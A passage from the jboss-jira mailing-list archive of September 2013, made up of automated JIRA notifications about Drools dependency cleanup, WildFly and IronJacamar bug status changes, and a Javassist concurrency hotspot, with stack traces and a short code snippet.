>  PSOldGen        total 349568K, used 0K [0x00000001ffff0000, 0x0000000215550000, 0x00000002aaaa0000)
>   object space 349568K, 0% used [0x00000001ffff0000,0x00000001ffff0000,0x0000000215550000)
>  PSPermGen       total 6291456K, used 10763K [0x000000007fff0000, 0x00000001ffff0000, 0x00000001ffff0000)
>   object space 6291456K, 0% used [0x000000007fff0000,0x0000000080a72d30,0x00000001ffff0000)
> Press any key to continue . . .

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 15:41:03 2013
From: jira-events at lists.jboss.org (Geoffrey De Smet (JIRA))
Date: Tue, 10 Sep 2013 15:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3682) drools-compiler jar file
 dependancy with antlr3.3 creating issue in deployment of EAR.
In-Reply-To: <JIRA.12478601.1352133599000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12478601.1352133599000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12478601.1352133599000.19023.1378842063548@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBRULES-3682?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Geoffrey De Smet resolved JBRULES-3682.
---------------------------------------

    Fix Version/s:     (was: 6.0.0.Alpha1)
       Resolution: Partially Completed


We cleaned up the antlr dependency mess for 6.0.0.CR3. If it's still an issue despite those changes, please open a new issue on the jira project DROOLS.
                
>  drools-compiler jar file dependancy with antlr3.3 creating issue in deployment of EAR.
> ---------------------------------------------------------------------------------------
>
>                 Key: JBRULES-3682
>                 URL: https://issues.jboss.org/browse/JBRULES-3682
>             Project: JBRULES
>          Issue Type: Task
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.3.0.Final
>         Environment: local
>            Reporter: Amit Telang
>            Assignee: Geoffrey De Smet
>              Labels: maven
>
> Hi, after inclusion guvnor 5.x in application, we are unable to deploy our application through Hudson on our managed server. Issue is related to drools-compiler-5.3.0.Final.jar dependancy with antlr3.3 jar file. If I use exclusion tag to exclude this it excludes all the jar which starts with antlr.
> If I use package exclude to include this antlr3.3 it do not compile. Unable to resolve this small looking issue for a long time.
> Please provide any valuable feedback if someone also faces this issue.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 15:41:03 2013
From: jira-events at lists.jboss.org (Geoffrey De Smet (JIRA))
Date: Tue, 10 Sep 2013 15:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-258) drools-camel-server and
 guvnor-webapp: Do not use the dependency cxf-bundle-jaxrs because it's an
 uber jar that disrupts our dependency graph
In-Reply-To: <JIRA.12437229.1305116225000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12437229.1305116225000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12437229.1305116225000.19025.1378842063651@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-258?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Geoffrey De Smet moved JBRULES-3026 to DROOLS-258:
--------------------------------------------------

              Project: Drools  (was: JBRULES)
                  Key: DROOLS-258  (was: JBRULES-3026)
             Workflow: GIT Pull Request workflow   (was: jira)
    Affects Version/s:     (was: 5.2.0.M2)
        Fix Version/s:     (was: 6.0.0.Alpha1)

    
> drools-camel-server and guvnor-webapp: Do not use the dependency cxf-bundle-jaxrs because it's an uber jar that disrupts our dependency graph
> ---------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-258
>                 URL: https://issues.jboss.org/browse/DROOLS-258
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Geoffrey De Smet
>            Assignee: Geoffrey De Smet
>            Priority: Critical
>
> cxf-bundle-jaxrs isn't mentioned in here:
>   http://cxf.apache.org/docs/using-cxf-with-maven.html
> it pulls in a lot we don't need and we try to exclude what we don't need (but fail at it).
> Furher proof that cxf-bundle-jaxrs is evil:
>   http://svn.apache.org/repos/asf/cxf/trunk/distribution/bundle/jaxrs/pom.xml
> It uses the maven-shade-plugin, which is a blocker for the Red Hat re-packers team (see fosdem 2011 presentation)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 15:41:03 2013
From: jira-events at lists.jboss.org (Geoffrey De Smet (JIRA))
Date: Tue, 10 Sep 2013 15:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-258) drools-camel-server and
 guvnor-webapp: Do not use the dependency cxf-bundle-jaxrs because it's an
 uber jar that disrupts our dependency graph
In-Reply-To: <JIRA.12437229.1305116225000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12437229.1305116225000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12437229.1305116225000.19027.1378842063728@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-258?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Geoffrey De Smet updated DROOLS-258:
------------------------------------

    Assignee: Michael Biarnes Kiefer  (was: Geoffrey De Smet)

    
> drools-camel-server and guvnor-webapp: Do not use the dependency cxf-bundle-jaxrs because it's an uber jar that disrupts our dependency graph
> ---------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-258
>                 URL: https://issues.jboss.org/browse/DROOLS-258
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Geoffrey De Smet
>            Assignee: Michael Biarnes Kiefer
>            Priority: Critical
>
> cxf-bundle-jaxrs isn't mentioned in here:
>   http://cxf.apache.org/docs/using-cxf-with-maven.html
> it pulls in a lot we don't need and we try to exclude what we don't need (but fail at it).
> Furher proof that cxf-bundle-jaxrs is evil:
>   http://svn.apache.org/repos/asf/cxf/trunk/distribution/bundle/jaxrs/pom.xml
> It uses the maven-shade-plugin, which is a blocker for the Red Hat re-packers team (see fosdem 2011 presentation)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 15:43:03 2013
From: jira-events at lists.jboss.org (Geoffrey De Smet (JIRA))
Date: Tue, 10 Sep 2013 15:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-258) drools-camel-server and
 guvnor-webapp: Do not use the dependency cxf-bundle-jaxrs because it's an
 uber jar that disrupts our dependency graph
In-Reply-To: <JIRA.12437229.1305116225000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12437229.1305116225000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12437229.1305116225000.19036.1378842183844@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-258?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803280#comment-12803280 ] 

Geoffrey De Smet commented on DROOLS-258:
-----------------------------------------

[~mbiarnes] Most of the info in the comments above are very stale. Many of the related issues that made it difficult to solve back then are solved now - and we're using a much newer camel version now. If you'd like to try to solve it now, it's good practice :) Ping me if you need support.
                
> drools-camel-server and guvnor-webapp: Do not use the dependency cxf-bundle-jaxrs because it's an uber jar that disrupts our dependency graph
> ---------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-258
>                 URL: https://issues.jboss.org/browse/DROOLS-258
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Geoffrey De Smet
>            Assignee: Michael Biarnes Kiefer
>            Priority: Critical
>
> cxf-bundle-jaxrs isn't mentioned in here:
>   http://cxf.apache.org/docs/using-cxf-with-maven.html
> it pulls in a lot we don't need and we try to exclude what we don't need (but fail at it).
> Furher proof that cxf-bundle-jaxrs is evil:
>   http://svn.apache.org/repos/asf/cxf/trunk/distribution/bundle/jaxrs/pom.xml
> It uses the maven-shade-plugin, which is a blocker for the Red Hat re-packers team (see fosdem 2011 presentation)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:07:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-17) ignore CNFE when scanning for
 entity classes in deployment
In-Reply-To: <JIRA.12489621.1366137451000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489621.1366137451000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489621.1366137451000.19194.1378854424071@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-17?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803305#comment-12803305 ] 

RH Bugzilla Integration commented on WFLY-17:
---------------------------------------------

Brad Maxwell <bmaxwell at redhat.com> made a comment on [bug 1006617|https://bugzilla.redhat.com/show_bug.cgi?id=1006617]

Description of problem:

Deployments may contain non-entity classes that can not be loaded, which results in the deployment failing though the classes are actually packaged in the application.
                
> ignore CNFE when scanning for entity classes in deployment
> ----------------------------------------------------------
>
>                 Key: WFLY-17
>                 URL: https://issues.jboss.org/browse/WFLY-17
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha1
>
>         Attachments: cnfe.jar
>
>
> Deployments may contain non-entity classes that can not be loaded (see above forum reference for example).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.19218.1378856463792@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803308#comment-12803308 ] 

RH Bugzilla Integration commented on WFLY-1791:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 982303|https://bugzilla.redhat.com/show_bug.cgi?id=982303] from MODIFIED to ON_QA
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:41:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:41:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1589) requiredSecret attribute on
 the AJP connector
In-Reply-To: <JIRA.12495134.1372241506000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495134.1372241506000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495134.1372241506000.19223.1378856464032@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1589?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803309#comment-12803309 ] 

RH Bugzilla Integration commented on WFLY-1589:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 997009|https://bugzilla.redhat.com/show_bug.cgi?id=997009] from MODIFIED to ON_QA
                
> requiredSecret attribute on the AJP connector
> ---------------------------------------------
>
>                 Key: WFLY-1589
>                 URL: https://issues.jboss.org/browse/WFLY-1589
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (JBoss Web)
>            Reporter: Tom Fonteyne
>            Assignee: Tom Fonteyne
>            Priority: Minor
>         Attachments: requiredsecret.diff, requiredsecret.diff
>
>
> In JBoss 5 I could set the requiredSecret attribute of the AJP connector. This is no longer possible in JBoss AS 7 and WildFly
> This request is to get it implemented similarly to WFLY-254 for tomcatAuthentication

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:41:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:41:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1328) Regression: CDI portable
 extensions with missing dependencies fail to deploy
In-Reply-To: <JIRA.12491498.1368148654000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491498.1368148654000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491498.1368148654000.19236.1378856464590@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1328?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803312#comment-12803312 ] 

RH Bugzilla Integration commented on WFLY-1328:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 961470|https://bugzilla.redhat.com/show_bug.cgi?id=961470] from MODIFIED to ON_QA
                
>  Regression: CDI portable extensions with missing dependencies fail to deploy
> -----------------------------------------------------------------------------
>
>                 Key: WFLY-1328
>                 URL: https://issues.jboss.org/browse/WFLY-1328
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:41:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:41:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-163) RuntimeSupport.find2Methods
 a perf hotspot when proxy's methods are called at higher concurrency
In-Reply-To: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12462896.1333114028000.19257.1378856465435@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JASSIST-163?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803314#comment-12803314 ] 

RH Bugzilla Integration commented on JASSIST-163:
-------------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 900690|https://bugzilla.redhat.com/show_bug.cgi?id=900690] from MODIFIED to ON_QA
                
> RuntimeSupport.find2Methods a perf hotspot when proxy's methods are called at higher concurrency
> ------------------------------------------------------------------------------------------------
>
>                 Key: JASSIST-163
>                 URL: https://issues.jboss.org/browse/JASSIST-163
>             Project: Javassist
>          Issue Type: Enhancement
>    Affects Versions: 3.15.0-GA, 3.16.1-GA
>         Environment: hibernate-core 3.6.10.Final
>            Reporter: Nikita Tovstoles
>            Assignee: Shigeru Chiba
>             Fix For: 3.17.0-GA
>
>         Attachments: Bean_$$_bulkaccess_0.txt, Bean_$$_bulkaccess_0_Two.txt, blocked-threads.png, BulkAccessorFactory.java.diff, BulkAccessorFactory.java.diff2, BulkAccessorFactory.patch, find2methods-hotspot.png, jassist-163-fix.patch, monitor-backtraces.png, monitor-backtraces.png, Product.java, Product_$$_javassist_0-post-patch.java, Product_$$_javassist_0.java, Tomcat-2012-03-28(2).zip
>
>
> We've been profiling our Hibernate 3.6.10-based app and noticed a perf bottleneck in javassist.util.proxy.RuntimeSupport.find2methods. Unfortunately, this method, which has a synch. block, is being called on
> every invocation of every proxied entity method (see javassist.util.proxy.ProxyFactory.makeForwarder(), called indirectly by
> ProxyFactory.createClass()).
> In our testing, the result is that our service call's latency increases from 33 to 55, 260, 400ms as concurrency increases
> 1-10-20-30 users on a 4-core CPU. At 20 and 30 users 51% of CPU time is spent contending for a monitor in RuntimeSupport.find2methods:
> {code}
>         synchronized (methods) {
>             if (methods[index] == null) {
>                 methods[index + 1] = thisMethod == null ? null
>                                      : findMethod(self, thisMethod, desc);
>                 methods[index] = findSuperMethod(self, superMethod, desc);
>             }
>         }
> {code} 
> Since find2methods merely interrogates class metadata, seems like its return values should be cached (in a ConcurrentMap?) instead of repeatedly executing the above synchronized statement. Instead, currently, it's being called every time (?) a proxied method is executed - see *Invocation Count* in this screen shot:
> https://issues.jboss.org/secure/attachment/12353025/monitor-backtraces.png
> Full [YourKit profile|http://yourkit.com] is [attached as a ZIP archive|^Tomcat-2012-03-28(2).zip]; key screen shots from the snapshot also attached separately

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-21) NullPointerException when
 removing messages from non-existing queue
In-Reply-To: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489104.1365684721000.19262.1378856584114@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-21?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803317#comment-12803317 ] 

RH Bugzilla Integration commented on WFLY-21:
---------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 928795|https://bugzilla.redhat.com/show_bug.cgi?id=928795] from MODIFIED to ON_QA
                
>  NullPointerException when removing messages from non-existing queue
> --------------------------------------------------------------------
>
>                 Key: WFLY-21
>                 URL: https://issues.jboss.org/browse/WFLY-21
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> {noformat}
> java.lang.NullPointerException
> 	at org.jboss.as.messaging.jms.JMSQueueControlHandler$1.removeMessages(JMSQueueControlHandler.java:78)
> 	at org.jboss.as.messaging.AbstractQueueControlHandler.executeRuntimeStep(AbstractQueueControlHandler.java:310)
> ...
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1058) XAResource should have its
 timeout value resetted
In-Reply-To: <JIRA.12496226.1373570697000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496226.1373570697000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496226.1373570697000.19267.1378856584349@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1058?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803318#comment-12803318 ] 

RH Bugzilla Integration commented on JBJCA-1058:
------------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 999522|https://bugzilla.redhat.com/show_bug.cgi?id=999522] from MODIFIED to ON_QA
                
> XAResource should have its timeout value resetted
> -------------------------------------------------
>
>                 Key: JBJCA-1058
>                 URL: https://issues.jboss.org/browse/JBJCA-1058
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.19.Final, 1.1.0.CR1
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>             Fix For: 1.0.20.Final, 1.1.0.CR2
>
>
> Once the connection is returned to the pool

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1070) Memory leak if hashCode of
 Transaction isn't stable
In-Reply-To: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498669.1376567503000.19270.1378856584472@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1070?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803319#comment-12803319 ] 

RH Bugzilla Integration commented on JBJCA-1070:
------------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 999522|https://bugzilla.redhat.com/show_bug.cgi?id=999522] from MODIFIED to ON_QA
                
> Memory leak if hashCode of Transaction isn't stable
> ---------------------------------------------------
>
>                 Key: JBJCA-1070
>                 URL: https://issues.jboss.org/browse/JBJCA-1070
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> Happens in TransactionSynchronizer

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1341) Missing charset-related paths
	from sun.jdk
In-Reply-To: <JIRA.12491807.1368584295000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491807.1368584295000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491807.1368584295000.19274.1378856584610@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1341?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803320#comment-12803320 ] 

RH Bugzilla Integration commented on WFLY-1341:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 959478|https://bugzilla.redhat.com/show_bug.cgi?id=959478] from MODIFIED to ON_QA
                
> Missing charset-related paths from sun.jdk
> ------------------------------------------
>
>                 Key: WFLY-1341
>                 URL: https://issues.jboss.org/browse/WFLY-1341
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Brad Maxwell
>            Assignee: David Lloyd
>             Fix For: 8.0.0.Alpha1
>
>
> The sun.jdk module needs the sun.nio.ext and sun.nio.cs packages to load charsets from application code properly.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 19:43:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 19:43:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.19285.1378856585155@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803322#comment-12803322 ] 

RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297] from MODIFIED to ON_QA
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
